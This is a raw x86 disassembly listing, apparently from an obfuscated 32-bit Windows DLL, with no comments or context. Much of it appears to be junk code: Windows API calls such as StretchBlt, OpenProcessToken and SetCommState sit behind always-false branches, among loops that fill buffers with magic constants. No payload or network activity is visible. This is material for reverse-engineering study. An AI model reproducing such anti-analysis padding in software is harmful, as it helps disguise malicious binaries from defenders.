mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xdac]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setl dl
xor ecx, ecx
test edx, edx
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x18]
je 0x1002f81d
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002f81d
xor ebx, ebx
mov ecx, eax
inc ebx
jmp 0x1002f822
xor ebx, ebx
inc ebx
mov ecx, ebx
mov eax, dword [ebp - 0x28]
imul eax, ecx
lea ecx, [ebp - 0x684]
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x17
call fcn.100153d6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffed
jne 0x1002f6c7
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002f86d
push 0x2253
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
xor eax, eax
push eax
lea ecx, [ebp - 0x19c]
call fcn.100153f2
lea ecx, [ebp - 0x19c]
inc dword [eax]
xor eax, eax
push eax
call fcn.100153f2
cmp dword [eax], 0x17
jl 0x1002f6a6
mov edi, dword [sym.imp.ADVAPI32.dll_CopySid]
push 2
pop esi
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 0x13
call fcn.100153d6
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002f8c8
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xb44]
call fcn.100153f2
mov dword [eax], 0x4888999d
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f8b1
push esi
lea ecx, [ebp - 0xd10]
call fcn.10015351
xor eax, eax
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002f908
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd10]
call fcn.100153f2
mov dword [eax], 0x9b55bb2c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002f8ea
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002f92a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x784], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002f911
xor eax, eax
mov dword [ebp - 0x780], eax
jmp 0x1002f961
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002f956
push 0x1141
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1002f969
inc dword [ebp - 0x780]
cmp dword [ebp - 0x780], ebx
jle 0x1002f932
lea ecx, [ebp - 0xd10]
mov byte [ebp - 4], 0x13
call fcn.100153d6
xor eax, eax
or edx, 0xffffffff
mov byte [ebp - 0x1d], al
mov dword [ebp - 0x10], 0x9f9b3198
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x10], 6
cmp dword [ebp - 0x10], 0x11
je 0x1002fa53
jmp 0x1002f99f
xor eax, eax
mov dword [ebp - 0x34], 0xb275cf8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1002f9c8
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x5bc], 0x220c4365
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1002f9af
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1002f9d0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x5b8]
mov eax, dword [ebp - 0x5bc]
mov eax, dword [ebp - 0x5b8]
add eax, 9
cmp eax, 0xb4aad9dd
jbe 0x1002f9f2
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, ebx
mov dword [ebp - 0x5b8], ebx
mov eax, dword [ebp - 0x10]
sub ecx, eax
xor eax, eax
cmp ecx, edx
setg al
cmp eax, dword [ebp - 0x10]
jle 0x1002fa1c
xor eax, eax
cmp dword [ebp - 0x5b4], eax
jne 0x1002fa1e
mov ecx, ebx
jmp 0x1002fa20
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, edx
setle al
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x34], eax
jl 0x1002fa46
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x5bc], 0
jne 0x1002fa46
dec dword [ebp - 0x34]
jns 0x1002fa34
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x11
jne 0x1002f99d
cmp byte [ebp - 0x1d], 0
je 0x1002fcc0
movdqa xmm0, xmmword [0x10008270]
lea eax, [ebp - 0x10b4]
push eax
lea eax, [ebp - 0x10c4]
push eax
lea ecx, [ebp - 0x12bc]
movdqu xmmword [ebp - 0x10c4], xmm0
call fcn.10015401
lea ecx, [ebp - 0x1e1]
mov esi, eax
call fcn.100093c3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x500]
push dword [esi]
call fcn.100153b0
push 2
pop esi
push esi
lea ecx, [ebp - 0x4f4]
mov byte [ebp - 4], 0x1a
call fcn.10015351
mov byte [ebp - 4], 0x1b
or eax, 0xffffffff
mov dword [ebp - 0x48], 0x3b51ad5b
mov dword [ebp - 0x4c], 0x9761
mov dword [ebp - 0x48], eax
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x18], 0xfff8
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002fafa
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x4f4]
call fcn.100153f2
mov dword [eax], 0x8e1b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002fae3
push ebx
lea ecx, [ebp - 0x500]
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x500]
mov dword [eax], 0xf
call fcn.100153f2
cmp dword [eax], 0x16
jle 0x1002fc97
xor eax, eax
mov dword [ebp - 0x30], 0xc38b6b0e
mov dword [ebp - 0x2c], eax
jmp 0x1002fb45
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x8c], 0x9d434678
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002fb34
push ebx
lea ecx, [ebp - 0x4f4]
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x500]
mov esi, eax
call fcn.100153f2
mov edx, dword [ebp - 0x8c]
mov ecx, dword [eax]
xor eax, eax
mov dword [esi], ecx
mov ecx, dword [ebp - 0x8c]
cmp edx, ecx
setl al
imul eax, dword [esi]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x8c], 0x7163
jle 0x1002fbcc
push ebx
lea ecx, [ebp - 0x4f4]
call fcn.100153f2
xor ecx, ecx
cmp dword [eax], 0xfffffff7
setne cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
jne 0x1002fbb5
mov edx, eax
cmp dword [ebp - 0x8c], eax
je 0x1002fbb7
mov edx, ebx
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x30]
jge 0x1002fbcc
xor edi, edi
mov eax, edi
jmp 0x1002fbd0
mov eax, ebx
xor edi, edi
imul eax, eax, 0xffff
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x821c760f
jae 0x1002fbf2
push ebx
lea ecx, [ebp - 0x4f4]
call fcn.100153f2
cmp dword [eax], edi
je 0x1002fbf5
mov eax, dword [ebp - 0x30]
push ebx
lea ecx, [ebp - 0x4f4]
call fcn.100153f2
xor eax, eax
cmp dword [ebp - 0x8c], eax
jne 0x1002fc10
cmp dword [ebp - 0x18], eax
je 0x1002fc12
mov eax, ebx
xor edi, edi
mov dword [ebp - 0x48], eax
push edi
lea ecx, [ebp - 0x500]
call fcn.100153f2
mov ecx, dword [ebp - 0x48]
cmp dword [eax], ecx
jl 0x1002fc36
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x8c], eax
je 0x1002fc38
mov ecx, ebx
mov eax, dword [ebp - 0x4c]
add eax, ecx
jne 0x1002fc42
mov eax, dword [ebp - 0x30]
push edi
lea ecx, [ebp - 0x4f4]
call fcn.100153f2
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
neg ecx
push ebx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xdb4d
lea ecx, [ebp - 0x500]
setle al
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x500]
inc dword [eax]
call fcn.100153f2
cmp dword [eax], 0x16
jg 0x1002fb26
mov edi, dword [sym.imp.ADVAPI32.dll_CopySid]
push 2
pop esi
lea ecx, [ebp - 0x4f4]
call fcn.100153d6
lea ecx, [ebp - 0x500]
mov byte [ebp - 4], 0x13
call fcn.100153d6
xor eax, eax
push eax
push 0x9ae
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa30]
call fcn.100153f2
cmp dword [eax], 0
jne 0x10030af6
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x39e3cf95
mov dword [ebp - 0x48], 0xfffffff9
mov dword [ebp - 0x48], 0x512dc6d0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x38], 0xfffffff4
cmp dword [ebp - 0x38], 0xa
jle 0x1002fe58
jmp 0x1002fd0d
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x700]
push 3
call fcn.10015351
or eax, 0xffffffff
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0xb2c]
push ebx
call fcn.10015351
xor eax, eax
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002fd61
push dword [ebp - 0x10]
lea ecx, [ebp - 0x700]
call fcn.100153f2
mov dword [eax], 0x4dde9ab5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002fd42
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002fd85
xor edi, edi
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb2c]
call fcn.100153f2
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fd6b
xor eax, eax
push eax
lea ecx, [ebp - 0x700]
call fcn.100153f2
mov ecx, dword [ebp - 0x38]
xor edx, edx
cmp ecx, 0x8a27
setne dl
mov dword [eax], edx
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x18]
jne 0x1002fdba
push esi
lea ecx, [ebp - 0x700]
call fcn.100153f2
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], 0xfffffffd
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setle dl
xor ecx, ecx
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
cmp eax, 0x4042
setg cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
lea ecx, [ebp - 0x700]
setne dl
xor edi, edi
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
push edi
call fcn.100153f2
push edi
lea ecx, [ebp - 0xb2c]
mov esi, eax
call fcn.100153f2
mov ecx, dword [esi]
mov dword [eax], ecx
lea ecx, [ebp - 0xb2c]
call fcn.100153d6
lea ecx, [ebp - 0x700]
mov byte [ebp - 4], 0x13
call fcn.100153d6
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xa
push 2
pop esi
jg 0x1002fd0a
mov edi, dword [sym.imp.ADVAPI32.dll_CopySid]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002fe7e
push eax
push 0x1963
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jg 0x10030af6
push 2
pop esi
jmp 0x1002fe92
mov dword [ebp - 0x3c], 0xc8b13eca
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002feb0
push eax
push 0x7ff
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002ff0a
push 0x1667
push 0x1306
push 0x19b3
push 0x85
push 0x107b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1fb5
push 0x19ce
push 0x2661
push 0x2580
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1002ff36
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1444], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1002ff1d
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002ff65
mov dword [ebp - 0x18], 0x256a9ef7
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1002ff62
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002ff5d
push eax
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002ff4a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x1002ff3b
mov dword [ebp - 0x3c], 0x8f9c25b0
mov dword [ebp - 0x30], 0x3268dd2a
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002ff95
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x64], 0xfffffff6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002ff80
xor eax, eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x13
jl 0x10030067
mov dword [ebp - 0x28], 0x97f0
lea ecx, [ebp - 0xa00]
push 3
call fcn.10015351
mov byte [ebp - 4], 0x1e
xor eax, eax
mov dword [ebp - 0x40], 0x764361a6
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1002ffeb
cmp dword [ebp - 0x64], eax
je 0x10030144
lea ecx, [ebp - 0xb44]
mov byte [ebp - 4], 0xf
call fcn.100153d6
dec dword [ebp - 0x1c]
jns 0x1002f30b
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
or eax, 0xffffffff
lea ecx, [ebp - 0xa30]
mov dword [ebp - 4], eax
call fcn.100153d6
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0xbbc]
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x30], 0xe7b1
push 2
call fcn.10015351
xor eax, eax
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x1c], eax
jmp 0x10030b6b
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xbbc]
call fcn.100153f2
mov dword [eax], 0x6a6c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10030b54
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
setne dl
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
add esi, 0xe974a521
cmp esi, eax
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x38]
jle 0x10030bac
cmp dword [ebp - 0x38], eax
je 0x10030bac
mov eax, ebx
imul eax, eax, 0xa5bc
neg eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x105fa2ef
setge cl
xor eax, eax
cmp ecx, 0xfffffff9
setle al
xor edx, edx
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], eax
jmp 0x10030cb7
mov dword [ebp - 0x4c], 0x60b25631
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], eax
jl 0x10030cb1
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10030c2f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11c0], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10030c16
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10030ca3
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030c5b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb8], 0x4d0e834a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030c43
xor eax, eax
mov dword [ebp - 0xb8], ebx
cmp dword [ebp - 0xb8], eax
jl 0x10030ca0
mov eax, dword [ebp - 0x11c0]
lea ecx, [ebp - 0xbbc]
mov dword [ebp - 0x48], eax
mov esi, dword [ebp - 0x48]
push dword [ebp - 0xb8]
neg esi
sbb esi, esi
neg esi
call fcn.100153f2
xor ecx, ecx
cmp dword [eax], esi
setge cl
mov dword [ebp - 0x40], ecx
dec dword [ebp - 0xb8]
jns 0x10030c69
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x10030c34
dec dword [ebp - 0x38]
jns 0x10030c06
dec dword [ebp - 0x4c]
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe3
je 0x10030bf3
or eax, 0xffffffff
lea ecx, [ebp - 0xbbc]
mov dword [ebp - 4], eax
call fcn.100153d6
push 4
pop eax
push eax
lea ecx, [ebp - 0xb5c]
call fcn.10015351
mov dword [ebp - 4], 0x25
mov esi, 0xe1e87df2
mov dword [ebp - 0x34], esi
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffff9
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030d22
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb5c]
call fcn.100153f2
push 4
and dword [eax], 0
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x10030d04
xor eax, eax
mov dword [ebp - 0x34], 3
cmp dword [ebp - 0x34], eax
jl 0x10030e08
mov dword [ebp - 0x2c], 0xa6801fc3
lea ecx, [ebp - 0xa48]
push ebx
call fcn.10015351
xor eax, eax
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030d74
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa48]
call fcn.100153f2
mov dword [eax], 0x4888999d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030d56
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10030d8a
push eax
push 0x9ae
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x34]
lea ecx, [ebp - 0xb5c]
call fcn.100153f2
cmp dword [eax], 0
jne 0x10030df0
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10030dea
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x8f9c25b0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030dce
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4ac], 2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030db6
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10030de1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommState]
xor eax, eax
dec dword [ebp - 0x4ac]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x10030da4
lea ecx, [ebp - 0xa48]
mov byte [ebp - 4], 0x25
call fcn.100153d6
dec dword [ebp - 0x34]
jns 0x10030d32
or eax, 0xffffffff
lea ecx, [ebp - 0xb5c]
mov dword [ebp - 4], eax
call fcn.100153d6
push 4
pop eax
push eax
lea ecx, [ebp - 0xba4]
call fcn.10015351
mov dword [ebp - 4], 0x27
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], 0xfffffff9
push 4
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x10030e61
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xba4]
call fcn.100153f2
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10030e46
xor eax, eax
push 3
pop esi
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x34], eax
jl 0x10030f45
mov dword [ebp - 0x2c], 0xa6801fc3
lea ecx, [ebp - 0xa60]
push ebx
call fcn.10015351
xor eax, eax
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030eb2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa60]
call fcn.100153f2
mov dword [eax], 0x4888999d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030e94
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10030ec8
push eax
push 0x9ae
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x34]
lea ecx, [ebp - 0xba4]
call fcn.100153f2
cmp dword [eax], 0
jne 0x10030f2d
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10030f28
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x8f9c25b0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030f0c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x420], 2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030ef4
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10030f1f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommState]
xor eax, eax
dec dword [ebp - 0x420]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x10030ee2
lea ecx, [ebp - 0xa60]
mov byte [ebp - 4], 0x27
call fcn.100153d6
dec dword [ebp - 0x34]
jns 0x10030e70
or eax, 0xffffffff
lea ecx, [ebp - 0xba4]
mov dword [ebp - 4], eax
call fcn.100153d6
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0xa78]
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x30], 0xe7b1
push 2
call fcn.10015351
xor eax, eax
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x1c], eax
jmp 0x10030f9c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa78]
call fcn.100153f2
mov dword [eax], 0x6a6c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10030f85
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
setne dl
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
add esi, 0xe974a521
cmp esi, eax
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x38]
jle 0x10030fdd
cmp dword [ebp - 0x38], eax
je 0x10030fdd
mov eax, ebx
imul eax, eax, 0xa5bc
neg eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x105fa2ef
setge cl
xor eax, eax
cmp ecx, 0xfffffff9
setle al
xor edx, edx
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], eax
jmp 0x100310e8
mov dword [ebp - 0x4c], 0x60b25631
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], eax
jl 0x100310e2
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10031060
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1220], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10031047
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x100310d4
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003108c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd0], 0x4d0e834a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031074
xor eax, eax
mov dword [ebp - 0xd0], ebx
cmp dword [ebp - 0xd0], eax
jl 0x100310d1
mov eax, dword [ebp - 0x1220]
lea ecx, [ebp - 0xa78]
mov dword [ebp - 0x48], eax
mov esi, dword [ebp - 0x48]
push dword [ebp - 0xd0]
neg esi
sbb esi, esi
neg esi
call fcn.100153f2
xor ecx, ecx
cmp dword [eax], esi
setge cl
mov dword [ebp - 0x40], ecx
dec dword [ebp - 0xd0]
jns 0x1003109a
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x10031065
dec dword [ebp - 0x38]
jns 0x10031037
dec dword [ebp - 0x4c]
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe3
je 0x10031024
or eax, 0xffffffff
lea ecx, [ebp - 0xa78]
mov dword [ebp - 4], eax
call fcn.100153d6
push 4
pop esi
push esi
lea ecx, [ebp - 0x61c]
call fcn.10015351
xor eax, eax
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x1c], eax
jmp 0x1003112d
push dword [ebp - 0x1c]
call fcn.100153f2
mov dword [eax], ebx
inc dword [ebp - 0x1c]
lea ecx, [ebp - 0x61c]
cmp dword [ebp - 0x1c], esi
jl 0x10031120
push 2
pop esi
push esi
call fcn.100153f2
and dword [eax], 0
jmp 0x1003116e
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x10031160
push eax
push eax
push 0xdea
call edi
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push esi
lea ecx, [ebp - 0x61c]
call fcn.100153f2
dec dword [eax]
push esi
lea ecx, [ebp - 0x61c]
call fcn.100153f2
cmp dword [eax], 0xfffffffd
jle 0x10031146
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1003119a
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
or eax, 0xffffffff
lea ecx, [ebp - 0x61c]
mov dword [ebp - 4], eax
call fcn.100153d6
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0xb74]
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x30], 0xe7b1
push esi
call fcn.10015351
xor eax, eax
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x1c], eax
jmp 0x100311f0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb74]
call fcn.100153f2
mov dword [eax], 0x6a6c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100311d9
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
setne dl
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
add esi, 0xe974a521
cmp esi, eax
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x38]
jle 0x10031230
cmp dword [ebp - 0x38], eax
je 0x10031230
mov eax, ebx
